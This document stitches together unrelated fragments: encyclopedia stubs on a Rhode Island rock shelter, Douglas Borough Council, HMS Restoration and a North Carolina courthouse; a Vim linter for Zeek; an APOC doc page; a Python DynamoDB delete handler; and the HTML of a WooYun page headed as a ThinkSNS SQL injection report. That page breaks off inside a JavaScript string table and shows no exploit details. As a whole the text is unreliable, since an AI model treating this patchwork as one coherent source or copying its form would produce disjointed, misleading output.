The shelters were added to the National Register of Historic Places in 1977.
In 1982, Nathan Kaye gave the shelters to the State of Rhode Island. In 1996, the State Properties Committee entered into a "Park Use Agreement" with the Town of Hopkinton to preserve the shelter site. The Hopkinton Planning Board entered a requirement that the cultural aspects of the shelter be protected in a Master Plan agreement with the developers of a proposed solar farm across the road from the site on January 4, 2019.
See also
National Register of Historic Places listings in Washington County, Rhode Island
References
Archaeological sites on the National Register of Historic Places in Rhode Island
Rock shelters in the United States
Hopkinton, Rhode Island
National Register of Historic Places in Washington County, Rhode Island
|
```viml
" Author: Benjamin Bannier <bbannier@gmail.com>
" Description: Support for checking Zeek files.
"
call ale#Set('zeek_zeek_executable', 'zeek')
function! ale_linters#zeek#zeek#HandleErrors(buffer, lines) abort
let l:pattern = 'error in \v.*, line (\d+): (.*)$'
return map(ale#util#GetMatches(a:lines, l:pattern), "{
\ 'lnum': str2nr(v:val[1]),
\ 'text': v:val[2],
\}")
endfunction
call ale#linter#Define('zeek', {
\ 'name': 'zeek',
\ 'executable': {b -> ale#Var(b, 'zeek_zeek_executable')},
\ 'output_stream': 'stderr',
\ 'command': {-> '%e --parse-only %s'},
\ 'callback': 'ale_linters#zeek#zeek#HandleErrors',
\ 'lint_file': 1,
\})
```
|
The Douglas Borough Council is the local elected authority for the capital of the Isle of Man, the town of Douglas, and one of the 17 parishes that run local services on the Isle (however, it is the only authority with the "Borough" status). It is the largest local authority, with 12 elected councillors representing the borough.
History
Throughout the 18th century the settlement of Douglas had grown rapidly as a result of its port providing shelter to the smuggling trade. After the Island was revested by the British Crown and smuggling saw a decline, Douglas became a popular tourist destination for visitors from the United Kingdom.
In 1869, the decision was made by Tynwald, the Island's parliament, to move the capital from Castletown in the south of the Island to Douglas. As the new found seat of the government, Douglas continued to grow and by 1891, was home to 35% of the Manx population. During much of the 19th century, Douglas was governed by Town Commissioners however their powers severely limited.
However in throughout the early 1880s, the commissioners received additional powers and 1886 Tynwald passed the Local Government Act, providing the municipal government with the ability to raise and set the level of rates within the town and provided the Town Commissioners with unlimited borrowing powers subject to Tynwald approval. The act also gave the Commissioners the ability to set bye-laws and to source gas and water for the town. The same year with the passage for the Foreshore Act, the local government gained ownership and responsibility for the foreshore.
In 1899, Tynwald passed the Douglas Improvement Act which gave the commissioners the power to declare areas unhealthy and seize unsanitary buildings, as well as the power to create redevelopment and improvement plans for parts of the town. The Act also required the Commissioners to provide housing for working class residents.
In 1890, the Douglas Water and Loans Act authorised the creation of stock to the extent of £217,500, of which £144,000 was spent in acquiring the property from the Waterworks Company. That year also the passing of an Act which permitted the Town Commissioners to close all private slaughter-houses in the town, when they had provided a public slaughter-house.
In 1895, Douglas was formally incorporated into a town. The Douglas Municipal Corporation Act of 1895 was passed by Tynwald to provide for the election of 18 councillors for the town’s six wards with six aldermen elected by the councillors. This legislation enabled the formation of the Municipal Borough of Douglas in 1896.
Structure
The modern Council is made up of 12 councillors elected from 4 wards across Douglas. These are Central, East, North and South. The boundaries of each ward aligns with the corresponding House of Keys Constituency. Each ward elects three councillors for a term of four years using the multiple non-transferrable vote electoral system.
Prior to the 2021 Local Authority elections the number of councillors was reduced from 18 to 12 and the number of wards was reduced from 6 to 4.
The council operates though a system of committees and is led by the Executive Committee. The executive committee is composed of five councillors: the leader of the Council, who serves as its chairman, the chairmen for each of the three policy committees, and a Member who does not serve on the three policy committees.
The full Council elects the leader of the Council, the chairmen for each of the three policy committees, the chairman and members of the Standards Committee, the chairman and members of the Pensions Committee, and the chairman and members of the Allotments Committee.
The Executive Committee then appoints members to serve on each of the policy committees. These committees are, the Housing and Property Committee, the Regeneration and Community Committee and the Environmental Services Committee.
The constitution requires that the leader and committee members hold office for a maximum of two municipal years, after which a special meeting is convened at which an election will take place to appoint all posts for the following two-year term of the Council.
Following the 2021 Manx Local Authority Elections Councillor Claire Louise Wells was elected Leader of the Council by a margin of 7 to 5 votes against Manx Labour Party Councillor Devon Watson.
Mayor of Douglas
The non-political Mayor of Douglas serves the "first citizen of the Town" and presides over Council meetings, promotes public involvement in the Council's activities and represents the Council at civic and ceremonial functions. The mayor is elected on a yearly basis by a majority of Councillors. The Mayor of Douglas is supported by the Office of the Mayor and receives an annual allowance to support them in their duties.
Functions
The Council provides a range of services including public sector housing, recreation sites (including Douglas Golf Course), refuse, car parking, crematorium and graveyards services, libraries and has the power to set bye-laws for the Town.
Along with Onchan and Braddan, Douglas is one of the three Island local authorities which collects local authority rates from property owners however water and burial ground rates are collected by the Isle of Man Treasury.
References
Government of the Isle of Man
|
```asciidoc
////
This file is generated by DocsTest, so don't change it!
////
= apoc.text.lpad
:description: This section contains reference documentation for the apoc.text.lpad function.
label:function[] label:apoc-core[]
[.emphasis]
apoc.text.lpad(text,count,delim) YIELD value - left pad the string to the given width
== Signature
[source]
----
apoc.text.lpad(text :: STRING?, count :: INTEGER?, delim = :: STRING?) :: (STRING?)
----
== Input parameters
[.procedures, opts=header]
|===
| Name | Type | Default
|text|STRING?|null
|count|INTEGER?|null
|delim|STRING?|
|===
[[usage-apoc.text.lpad]]
== Usage Examples
include::partial$usage/apoc.text.lpad.adoc[]
```
|
HMS Restoration was a 70-gun third rate ship of the line of the Royal Navy, built by Joseph Allin the elder at Deptford Dockyard and launched on 1 August 1706, after the previous had been lost in the Great Storm of 1703.
This ship also had a premature end when she was wrecked off Livorno on 9 November 1711.
Notes
References
Lavery, Brian (2003) The Ship of the Line - Volume 1: The development of the battlefleet 1650-1850. Conway Maritime Press. .
Ships of the line of the Royal Navy
1700s ships
|
```python
import os
import boto3
dynamodb = boto3.resource('dynamodb')
def delete(event, context):
table = dynamodb.Table(os.environ['DYNAMODB_TABLE'])
# delete the todo from the database
table.delete_item(
Key={
'id': event['pathParameters']['id']
}
)
# create a response
response = {
"statusCode": 200
}
return response
```
|
Union County Courthouse is a historic courthouse building located at Monroe, Union County, North Carolina. The original Late Victorian section, was built in 1886, consisted of a two-story five-bay main block with a two-bay wing on each side. It has a low hip roof surmounted by a large cupola. Two additional
three-bay wings were added in 1922.
It was listed on the National Register of Historic Places in 1971. It is located in the Monroe Downtown Historic District.
References
County courthouses in North Carolina
Courthouses on the National Register of Historic Places in North Carolina
Victorian architecture in North Carolina
Government buildings completed in 1886
Buildings and structures in Union County, North Carolina
National Register of Historic Places in Union County, North Carolina
Historic district contributing properties in North Carolina
|
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "path_to_url">
<html xmlns="path_to_url">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta http-equiv="x-ua-compatible" content="ie=7"/>
<title> ThinkSNS (union select sql) | WooYun-2015-95972 | WooYun.org </title>
<meta name="author" content="80sec"/>
<meta name="copyright" content="path_to_url"/>
<meta name="keywords" content="ThinkSNS,menmen519,SQL,wooyun,,web,,,,,"/>
<meta name="description" content="ThinkSNS (union select sql)|WooYun,,,"/>
<link rel="icon" href="path_to_url" sizes="32x32" />
<link href="../css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
<script src="path_to_url" type="text/javascript"></script>
</head>
<body id="bugDetail">
<style>
#myBugListTab { position:relative; display:inline; border:none }
#myBugList { position:absolute; display:none; margin-left:309px; * margin-left:-60px; * margin-top:18px ; border:#c0c0c0 1px solid; padding:2px 7px; background:#FFF }
#myBugList li { text-align:left }
</style>
<script type="text/javascript">
$(document).ready(function(){
if ( $("#__cz_push_d_object_box__") ) {
$("script[src^='path_to_url").attr("src"," ").remove();
$("#__cz_push_d_object_box__").empty().remove();
$("a[id^='__czUnion_a']").attr("href","#").remove();
}
if ( $("#ooDiv") ) {
$("#ooDiv").empty().parent("div").remove();
}
$("#myBugListTab").toggle(
function(){
$("#myBugList").css("display","block");
},
function(){
$("#myBugList").css("display","none");
}
);
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
$(window).scroll(function(){
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
});
$("#back-to-top a").click(function() {
$('body,html').animate({scrollTop:0},300);
return false;
});
$("#go-to-comment a").click(function() {
var t = $("#replys").offset().top - 52;
$('body,html').animate({scrollTop:t},300);
return false;
});
});
function gofeedback(){
var bugid=$("#fbid").val();
if(bugid){
var url="/feedback.php?bugid="+bugid;
}else{
var url="/feedback.php"
}
window.open(url);
}
</script>
<div class="go-to-wrapper">
<ul class="go-to">
<li id="go-to-comment" title=""><a href="wooyun-2015-095972#"></a></li>
<li id="go-to-feedback" title=""><a href="javascript:void(0)" onclick="gofeedback()"></a></li>
<li id="back-to-top" title=""><a href="wooyun-2015-095972#"></a></li>
</ul>
</div>
<div class="banner">
<div class="logo">
<h1>WooYun.org</h1>
<div class="weibo"><iframe width="136" height="24" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" scrolling="no" border="0" src="path_to_url"></iframe>
</div>
<div class="wxewm">
<a class="ewmthumb" href="javascript:void(0)"><span><img src="path_to_url"width="220" border="0"></span><img src="path_to_url"width="22" border="0"></a>
</div>
</div>
<div class="login">
<a href="path_to_url"></a> | <a href="path_to_url" class="reg"></a>
</div>
</div>
<div class="nav" id="nav_sc">
<ul>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li class="new"><a href="path_to_url"></a></li>
<!--li><a href="/corp_actions"></a></li-->
<!--<li><a target='_blank' href="path_to_url"></a></li>-->
<li><a href="path_to_url" target="_blank" style="color:rgb(246,172,110);font-size:14px;font-weight:blod"></a></li>
<!--li><a href="/job/"></a></li-->
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url"></a></li>
</ul>
<form action="path_to_url" method="post" id="searchbox">
<input type="text" name="q" id="search_input" />
<input type="submit" value="" id="search_button" />
</form>
</div>
<div class="bread" style="padding-top: 4px;">
<div style="float:left"><a href="path_to_url">WooYun</a> >> <a href="wooyun-2015-095972#"></a></div>
</div>
<script language="javascript">
var _LANGJS = {"COMMENT_LIKE_SELF":"\u4e0d\u80fd\u81ea\u5df1\u8d5e\u81ea\u5df1\u7684\u8bc4\u8bba","COMMENT_LIKED":"\u5df2\u8d5e\u6b64\u8bc4\u8bba","COMMENT_NOT":"\u6b64\u8bc4\u8bba\u4e0d\u5b58\u5728","COMMENT_FILL":"\u8bf7\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","COMMENT_STAT":"\u8bc4\u8bba\u4e0d\u80fd\u4e3a\u7a7a","COMMENT_LOGIN":"\u767b\u9646\u540e\u624d\u80fd\u8bc4\u8bba","COMMENT_GOOD_DONE":"\u5df2\u8d5e\u8fc7\u6b64\u6761\u8bc4\u8bba","COMMENT_SELF":"\u4e0d\u80fd\u8bc4\u4ef7\u81ea\u5df1\u53d1\u5e03\u7684\u8bc4\u8bba","COMMENT_CLICK_FILL":"\u70b9\u51fb\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","FAIL":"\u64cd\u4f5c\u5931\u8d25","FAIL_MANAGE":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u4e0e\u7ba1\u7406\u5458\u8054\u7cfb","FAIL_NO_WHITEHATS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u767d\u5e3d\u5b50","FAIL_NO_CORPS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u5382\u5546","BUGS_CORPS_SELECT":"\u9009\u62e9\u5382\u5546(\u53ef\u8f93\u5165\u5173\u952e\u5b57\u641c\u7d22)","BUGS_CORPS_OTHER":"Other\/\u5176\u5b83\u5382\u5546","BUGS_CORPS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u7c7b\u578b","BUGS_CORPS_NAME_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u540d\u79f0","BUGS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u7c7b\u578b\uff0c\u4e71\u9009\u6263\u5206","BUGS_TITLE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u6807\u9898","BUGS_HARMLEVEL_STAT":"\u8be5\u6f0f\u6d1e\u7684\u5371\u5bb3\u7b49\u7ea7","BUGS_DESCRIPTION_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u7b80\u8981\u63cf\u8ff0\uff0c\u53ef\u4ee5\u7b80\u5355\u63cf\u8ff0\u6f0f\u6d1e\u7684\u5371\u5bb3\u548c\u6210\u56e0\uff0c\u4e0d\u8981\u900f\u6f0f\u6f0f\u6d1e\u7684\u7ec6\u8282","BUGS_CONTENT_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u8be6\u7ec6\u63cf\u8ff0\uff0c\u8bf7\u5c3d\u91cf\u591a\u7684\u6df1\u5165\u7ec6\u8282\u4ee5\u65b9\u4fbf\u5bf9\u6f0f\u6d1e\u7684\u7406\u89e3\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_POC_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6982\u5ff5\u6027\u8bc1\u660e\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_PATCH_STAT":"\u5efa\u8bae\u7684\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_TEST_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6807\u51c6\u6d4b\u8bd5\u4ee3\u7801\u4ee5\u66f4\u4e3a\u65b9\u4fbf\u7684\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\u548c\u9a8c\u8bc1\uff0c\u6d4b\u8bd5\u4ee3\u7801\u5bf9\u5916\u9ed8\u8ba4\u4e0d\u663e\u793a\uff0c<br\/>\u5176\u4ed6\u767d\u5e3d\u5b50\u652f\u4ed8\u4e4c\u4e91\u5e01\u67e5\u770b\u540e\u4f60\u5c06\u83b7\u5f97\u989d\u5916\u4e4c\u4e91\u5e01\uff0c<br\/>\u540c\u65f6\u4e5f\u5c06\u5728\u4f60\u7684\u4e2a\u4eba\u9875\u9762\u4f53\u73b0\u4f60\u7684\u6d4b\u8bd5\u4ee3\u7801\u7f16\u5199\u80fd\u529b\u3002","BUGS_QUESTION_SELECT":"\u8bf7\u9009\u62e9\u95ee\u9898\u5382\u5546","BUGS_TITLE_NOTICE":"\u6f0f\u6d1e\u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a","BUGS_RANK_NOTICE1":"\u8bf7\u586b\u5199\u81ea\u8bc4Rank","BUGS_RANK_NOTICE2":"\u81ea\u8bc4Rank\u4e3a\u5927\u4e8e0\u7684\u6570\u5b57","BUGS_TYPE_SELECT":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7c7b\u578b","BUGS_TYPE_NOTICE":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u7c7b\u578b","BUGS_HARMLEVEL_SELECT":"\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_NOTICE":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_LOWER":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4f4e \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a1-5","BUGS_HARMLEVEL_MIDDLE":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4e2d \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a5-10","BUGS_HARMLEVEL_HIGH":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u9ad8 \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a10-20","BUGS_AREA_SELECT":"\u8bf7\u9009\u62e9\u5730\u533a\uff01","BUGS_DOMAILS":"\u6f0f\u6d1e\u6240\u5728\u57df\u540d(\u5982qq.com)","BUGS_DOMAIN_FILL":"\u8bf7\u586b\u5199\u57df\u540d\uff01","BUGS_DETAIL_MORE":"\u67e5\u770b\u8be6\u60c5","BUGS_IGNORE_DAYS":"\u8ddd\u6f0f\u6d1e\u5ffd\u7565\u8fd8\u6709","BUGS_CONFIRM_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb","BUGS":"\u6f0f\u6d1e","BUGS_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u5411\u516c\u4f17\u516c\u5f00\u8fd8\u6709","BUGS_IGNORE_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u672a\u786e\u8ba4\u65e0\u5f71\u54cd\u5ffd\u7565\u8fd8\u6709","BUGS_REPAIR_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb\u4fee\u590d\u6f0f\u6d1e","BUGS_HARMLEVEL_REMIND":"\u8bf7\u9009\u62e9\u5371\u5bb3\u7b49\u7ea7","BUGS_RANK_STAT":"rank\u4e3a1-20\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT1":"rank\u4e3a1-5\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT2":"rank\u4e3a5-10\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT3":"rank\u4e3a10-20\u7684\u6b63\u6574\u6570","BUGS_COMPLEMENT_REASON":"\u6dfb\u52a0\u5bf9\u6f0f\u6d1e\u7684\u8865\u5145\u8bf4\u660e\u4ee5\u53ca\u505a\u51fa\u8bc4\u4ef7\u7684\u7406\u7531","BUGS_REPLY_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u56de\u590d","BUGS_IGNORE_CONFIRM":"\u786e\u5b9a\u5ffd\u7565\u6b64\u6f0f\u6d1e\u5417","BUGS_STATUS_NEW_UPDATE":"\u66f4\u6539\u6f0f\u6d1e\u7684\u6700\u65b0\u72b6\u6001","BUGS_STATUS_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u72b6\u6001","BUGS_PUBLIC_ADVANCE":"\u786e\u5b9a\u63d0\u524d\u516c\u5f00\u6b64\u6f0f\u6d1e\u5417","BUGS_COUNT":"\u6f0f\u6d1e\u6570","BUGS_REPLY_HAT":"\u56de\u590d\u6b64\u4eba","BUGS_DELAY_CONFIRM":"\u786e\u5b9a\u8981\u5ef6\u671f\u4e48?","BUGS_DELAY":"\u7533\u8bf7\u5ef6\u671f","BUGS_DELAY_DONE":"\u5df2\u7ecf\u5ef6\u671f","BUGS_RISK_CONFIM":"\u786e\u5b9a\u6b64\u6f0f\u6d1e\u4e3a\u9ad8\u5371\u5417?","BUGS_NULL_EDITE":"\u7559\u7a7a\u8868\u793a\u4e0d\u4fee\u6539","BUGS_DONE_CONFIRM":"\u8be5\u64cd\u4f5c\u6682\u65f6\u4e0d\u53ef\u9006\uff0c\u786e\u5b9a\uff1f","BUGS_UPUBLIC":"\u4f60\u4ece\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_UPUBLIC1":"\u91cc\u53c8\u83b7\u5f97\u4e86","BUGS_PRECHECK":"\u6709\u4eba\u63d0\u524d\u67e5\u770b\u4e86\u4f60\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_PRECHECK_UNPUBLIC":"\u63d0\u524d\u67e5\u770b\u672a\u516c\u5f00\u6f0f\u6d1e","BUGS_NUM":"\u6f0f\u6d1e\u6570\u91cf","RANKAVG":"\u4eba\u5747\u8d21\u732e Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f7f\u7528\u7684\u6b63\u5f0f\u90ae\u4ef6","REGISTER_NAME_NULL":"\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_HOMEPAGE_NULL":"\u4e2a\u4eba\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_BREIF_NULL":"\u7b80\u8981\u4ecb\u7ecd\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPNAME_NULL":"\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPHOMEPAGE_NULL":"\u5b98\u65b9\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_LAW_AGREE":"\u540c\u610f\u300a\u4fe1\u606f\u5b89\u5168\u76f8\u5173\u4fdd\u62a4\u548c\u58f0\u660e\u300b\u624d\u80fd\u6ce8\u518c","ATTENTION":"\u5173\u6ce8","ATTENTION_SUM":"\u5173\u6ce8\u6570","ATTENTION_DONE":"\u5df2\u5173\u6ce8","ATTENTION_CANCEL":"\u53d6\u6d88\u5173\u6ce8","ATTENTION_BUG_DONE":"\u5df2\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u5173\u6ce8","ATTENTION_BUG":"\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_UNDO":"\u6ca1\u6709\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_HAT_DONE":"\u5df2\u5173\u6ce8\u6b64\u767d\u5e3d\u5b50","ATTENTION_HAT_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u767d\u5e3d\u5b50\u7684\u5173\u6ce8?","COLLECTION":"\u6536\u85cf","COLLECTION_DONE":"\u5df2\u6536\u85cf","COLLECTION_BUG_DONE":"\u5df2\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_UNDO":"\u6ca1\u6709\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u6536\u85cf","SMS_SEND_NAME":"* 